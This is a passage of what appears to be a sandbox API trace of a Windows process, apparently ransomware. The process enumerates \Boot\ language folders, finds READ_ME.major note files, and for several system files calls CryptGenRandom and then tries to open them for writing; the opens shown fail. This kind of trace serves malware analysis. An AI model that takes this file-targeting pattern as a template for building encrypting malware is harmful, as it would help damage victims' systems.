returned 1 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0143.605] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e778 | out: hHeap=0x570000) returned 1 [0143.605] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e750 | out: hHeap=0x570000) returned 1 [0143.605] FindFirstFileW (in: lpFileName="\\Boot\\sl-SI\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f728 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec80 | out: hHeap=0x570000) returned 1 [0143.606] FindNextFileW (in: hFindFile=0x60f728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] GetLastError () returned 0x5 [0143.606] SetLastError (dwErrCode=0x5) [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eee8 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f468 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f468 | out: hHeap=0x570000) returned 1 [0143.606] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eee8 | out: hHeap=0x570000) returned 1 [0143.606] FindNextFileW (in: hFindFile=0x60f728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.606] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0143.607] FindNextFileW (in: hFindFile=0x60f728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] GetLastError () returned 0x5 [0143.607] SetLastError (dwErrCode=0x5) [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0143.607] FindNextFileW (in: hFindFile=0x60f728, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x817e9dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0143.607] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.607] SetFileAttributesW (lpFileName="\\Boot\\sl-SI\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0143.607] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0143.607] CreateFileW (lpFileName="\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0143.607] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec80 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9e0 | out: hHeap=0x570000) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e688 | out: hHeap=0x570000) returned 1 [0143.608] FindFirstFileW (in: lpFileName="\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f468 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9e0 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9e0 | out: hHeap=0x570000) returned 1 [0143.608] FindNextFileW (in: hFindFile=0x60f468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] GetLastError () returned 0x5 [0143.608] SetLastError (dwErrCode=0x5) [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.608] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0143.608] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5a8 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5a8 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0143.609] FindNextFileW (in: hFindFile=0x60f468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0143.609] FindNextFileW (in: hFindFile=0x60f468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0143.609] FindNextFileW (in: hFindFile=0x60f468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] GetLastError () returned 0x5 [0143.609] SetLastError (dwErrCode=0x5) [0143.609] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0143.609] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0143.609] FindNextFileW (in: hFindFile=0x60f468, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x817e9dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x817e9dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0143.610] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.610] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-CS\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.610] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0143.610] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.610] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0143.610] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0143.610] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0143.610] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.610] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-CS\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0143.610] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.610] CreateFileW (lpFileName="\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.610] FindFirstFileW (in: lpFileName="\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f0e8 [0143.610] SetLastError (dwErrCode=0x5) [0143.610] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0143.611] FindNextFileW (in: hFindFile=0x60f0e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eaf8 [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0143.611] FindNextFileW (in: hFindFile=0x60f0e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0143.611] FindNextFileW (in: hFindFile=0x60f0e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] GetLastError () returned 0x5 [0143.611] SetLastError (dwErrCode=0x5) [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0143.611] FindNextFileW (in: hFindFile=0x60f0e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a4cd0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x81a4cd0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0143.611] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0143.611] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0143.611] SetFileAttributesW (lpFileName="\\Boot\\sr-Latn-RS\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0143.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0143.612] CreateFileW (lpFileName="\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0143.612] FindFirstFileW (in: lpFileName="\\Boot\\sv-SE\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x81a4cd0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", 